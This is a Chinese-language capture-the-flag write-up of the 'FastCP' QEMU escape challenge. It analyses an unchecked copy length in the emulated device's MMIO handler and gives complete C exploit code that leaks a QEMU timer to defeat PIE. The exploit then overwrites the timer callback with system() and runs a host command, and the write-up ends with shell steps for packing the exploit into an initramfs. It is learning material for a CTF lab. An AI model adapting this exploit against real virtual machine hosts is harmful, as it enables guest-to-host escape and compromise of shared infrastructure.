FastCP
[TOC]
- 入门qemu逃逸第一题,花了好几天时间才把所有的细节搞明白
题目分析
- 题目名字就是fastcp,所以ida直接搜发现这些有关的
,一般漏洞也都是因为mmio_write,所以开始代码审计,审计过程略
- 在mmio_write这个函数中跟进一个函数
这里的函数执行竟然是通过存储的timer结构体,因此如果可以控制timer结构体意味着就可以任意函数执行
- 然后就是看是MMIO还是PMIO
发现resource0,那就是MMIO了
exp分析
mmio_write与qemu的联系
- 看到qemu中的这个函数就在想这个mmio_mem怎么和这个qemu中的这个函数联系起来
- 应该这样理解,通过打开resource0这个设备再映射,那么往mmio_mem写入的东西会被这样处理:FastCPState *opaque和size这两个参数不用管,往mmio_mem写入东西的偏移就是addr,对应偏移的值就是val,这样一切都联系起来了
userbuf和phy_userbuf
- 这里要先理解我们写的exp和qemu是两个不同的进程,而我们的最终目的是通过泄露出qemu中的东西然后任意函数执行最终pwn掉qemu这个宿主
- 地址转换这个不多赘述
- 这里的userbuf就是exp这个进程的虚拟地址,phy_userbuf就是exp这个进程的物理地址,userbuf我们可以直接通过exp里面访问到(比如说memcpy这种函数都可以),但是phy_userbuf要通过mmio_mem才能访问到,但实际上这两个位置虽然不同,但是存的东西是一样的
qemu中的函数和exp中的函数分析
- 主要是fastcp_cp_timer这个函数,cp_info是这个函数的一个局部变量,cp_list_src要是phy_userbuf才行,因此我们不能在qemu这个进程中访问到exp进程的东西,但是却可以通过phy_userbuf访问到。同时我们可以在exp中把想要的数据复制给userbuf,这样就联系起来了
- cmd=4,把cp_list_src也就是phy_userbuf中的cp_info复制给qemu中的cp_info这个局部变量,然后把cp_buffer中的数据复制给dst
- cmd=2,把src中的值复制给cp_buffer
- cmd=1,把src的值复制给buf,再把buf的值复制给dst
exp攻击流程
任意地址的泄露
- 注意到把buf的值复制到dst时没有长度限制,但是在qemu这个结构体中,buf后面就是timer这个结构体,因此可以把timer结构体的内容泄露
- 看到exp中leak_timer = *(uint64_t*)(&userbuf[0x10]),这就是通过phy_userbuf这个桥梁,在exp进程中获取到了qemu进程的东西
任意函数的执行
- 前面说到有cb(opaque)这个任意函数执行,因此设置相应的值就可以
- 这里先说说这个struct_head是什么,其实就是这个结构体的头部,所以才有timer.opaque = struct_head + 0xa00 + 0x1000 + 0x30,
- 再说说exp中的这部分
src和dst都是gva_to_gpa(userbuf + 0x1000) - 0x1000 ,先把src复制到buf,因为len=0x1000 + sizeof(timer)所以buf后面的timer结构体就被修改为我们期望的样子了。后面buf复制到dst其实都不重要了,然后只要让cmd=1,也就是调用fastcp_cp_timer函数就可以任意函数执行了
这里又来了一个知识点,因此虽然是memcpy(userbuf + 0x1000, &timer, sizeof(timer)); 但是后面却是gva_to_gpa(userbuf + 0x1000) - 0x1000,这是因为多于一页物理地址不一定连续了
exp
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/io.h>
#include <unistd.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
char* userbuf;
uint64_t phy_userbuf, phy_userbuf2;
unsigned char* mmio_mem;
struct FastCP_CP_INFO
{
uint64_t CP_src;
uint64_t CP_cnt;
uint64_t CP_dst;
};
struct QEMUTimer
{
int64_t expire_time;
int64_t timer_list;
int64_t cb;
void* opaque;
int64_t next;
int attributes;
int scale;
char shell[0x50];
};
void die(const char* msg)
{
perror(msg);
exit(-1);
}
uint64_t page_offset(uint64_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void* addr)
{
uint64_t pme, gfn;
size_t offset;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0)
{
die("open pagemap");
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
//用户虚拟地址gva到用户物理地址gpa
//先根据用户虚拟地址gva算出,用户所在页号gfn,再根据gfn和offset算出用户物理地址gpa(将gfn和offset位拼起来)
uint64_t gva_to_gpa(void* addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
//一开始mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
//mmio_mem = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_mem + addr)) = value;
}
//这个read感觉完全没用,不用都行
uint64_t mmio_read(uint64_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}
void fastcp_set_list_src(uint64_t list_addr)
{
mmio_write(0x8, list_addr);
}
void fastcp_set_cnt(uint64_t cnt)
{
mmio_write(0x10, cnt);
}
void fastcp_do_cmd(uint64_t cmd)
{
mmio_write(0x18, cmd);
}
//这个fastcp_do_readfrombuffer和fastcp_mmio_read完全不一样
//把buffer的数据复制到dst
void fastcp_do_readfrombuffer(uint64_t addr, uint64_t len)
{
//以下三个是往cp_info里面写入值
struct FastCP_CP_INFO info;
info.CP_cnt = len;
info.CP_src = NULL;
info.CP_dst = addr;
memcpy(userbuf, &info, sizeof(info));
//以下三个是往opaque->cp_state写入值
fastcp_set_cnt(1);
fastcp_set_list_src(phy_userbuf);
fastcp_do_cmd(4);
sleep(1);
}
//把src的数据复制到buffer
void fastcp_do_writetobuffer(uint64_t addr, uint64_t len)
{
struct FastCP_CP_INFO info;
info.CP_cnt = len;
info.CP_src = addr;
info.CP_dst = NULL;
memcpy(userbuf, &info, sizeof(info));
fastcp_set_cnt(1);
fastcp_set_list_src(phy_userbuf);
fastcp_do_cmd(2);
sleep(1);
}
void fastcp_do_movebuffer(uint64_t srcaddr, uint64_t dstaddr, uint64_t len)
{
struct FastCP_CP_INFO info[0x11];
for (int i = 0; i < 0x11; i++)
{
info[i].CP_cnt = len;
info[i].CP_src = srcaddr;
info[i].CP_dst = dstaddr;
}
memcpy(userbuf, &info, sizeof(info));
fastcp_set_cnt(0x11);
fastcp_set_list_src(phy_userbuf);
fastcp_do_cmd(1);
sleep(1);
}
//在qemu_main_loop中会不断执行各个函数,包括fastcp_mmio_write这个函数
int main(int argc, char* argv[])
{
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
//把刚才打开的resource0文件内容映射到一个地方
mmio_mem = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem: %p\n", mmio_mem);
/*
MAP_ANONYMOUS 是 mmap() 函数的一个标志,用于创建匿名映射,即在进程的地址空间中映射一段未与任何文件关联的内存区域
因此有了-1这个参数
*/
userbuf = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (userbuf == MAP_FAILED)
die("mmap userbuf failed");
/*
mlock() 是一个系统调用,用于锁定指定内存区域,防止其被交换到磁盘上。
这可以确保这些内存区域的内容始终驻留在物理内存中,而不会因为系统内存不足而被交换出去。
*/
mlock(userbuf, 0x10000);
phy_userbuf = gva_to_gpa(userbuf);
printf("user buff virtual address: %p\n", userbuf);
printf("user buff physical address: %p\n", (void*)phy_userbuf);
fastcp_do_readfrombuffer(phy_userbuf, 0x1030);
fastcp_do_writetobuffer(phy_userbuf + 0x1000, 0x30);
fastcp_do_readfrombuffer(phy_userbuf, 0x30);
//泄露pie,得到system函数的地址
uint64_t leak_timer = *(uint64_t*)(&userbuf[0x10]);
printf("leaking timer: %p\n", (void*)leak_timer);
fastcp_set_cnt(1);
uint64_t pie_base = leak_timer - 0x4dce80;
printf("pie_base: %p\n", (void*)pie_base);
uint64_t system_plt = pie_base + 0x2C2180;
printf("system_plt: %p\n", (void*)system_plt);
//堆上的某个地址
uint64_t struct_head = *(uint64_t*)(&userbuf[0x18]);
struct QEMUTimer timer;
memset(&timer, 0, sizeof(timer));
timer.expire_time = 0xffffffffffffffff;
timer.timer_list = *(uint64_t*)(&userbuf[0x8]);
timer.cb = system_plt;
timer.opaque = struct_head + 0xa00 + 0x1000 + 0x30; //这里应该是在qemu这个进程中timer.shell
printf("struct_head: %p\n",struct_head);
strcpy(&timer.shell, "echo flag{a_test_flag}");
//变量仅仅在栈上或堆上是不行的,得到mmio里面去才能被qemu用
memcpy(userbuf + 0x1000, &timer, sizeof(timer));
//把src复制到buffer,再把buffer复制到dst
//把src复制到buffer时就把整个结构体中的timer结构体给覆盖为我们自己修改后的结构体
fastcp_do_movebuffer(gva_to_gpa(userbuf + 0x1000) - 0x1000, gva_to_gpa(userbuf + 0x1000) - 0x1000, 0x1000 + sizeof(timer));
fastcp_do_cmd(1);
return 0;
}
mkdir exp
cp ./initramfs-busybox-x64.cpio.gz ./exp/
cd exp
gunzip ./initramfs-busybox-x64.cpio.gz
cpio -idmv < ./initramfs-busybox-x64.cpio
mkdir root
cp ../exp.c ./root/
gcc ./root/exp.c -o ./root/exp -static
find . | cpio -o --format=newc > initramfs-busybox-x64.cpio
gzip initramfs-busybox-x64.cpio
cp initramfs-busybox-x64.cpio.gz ..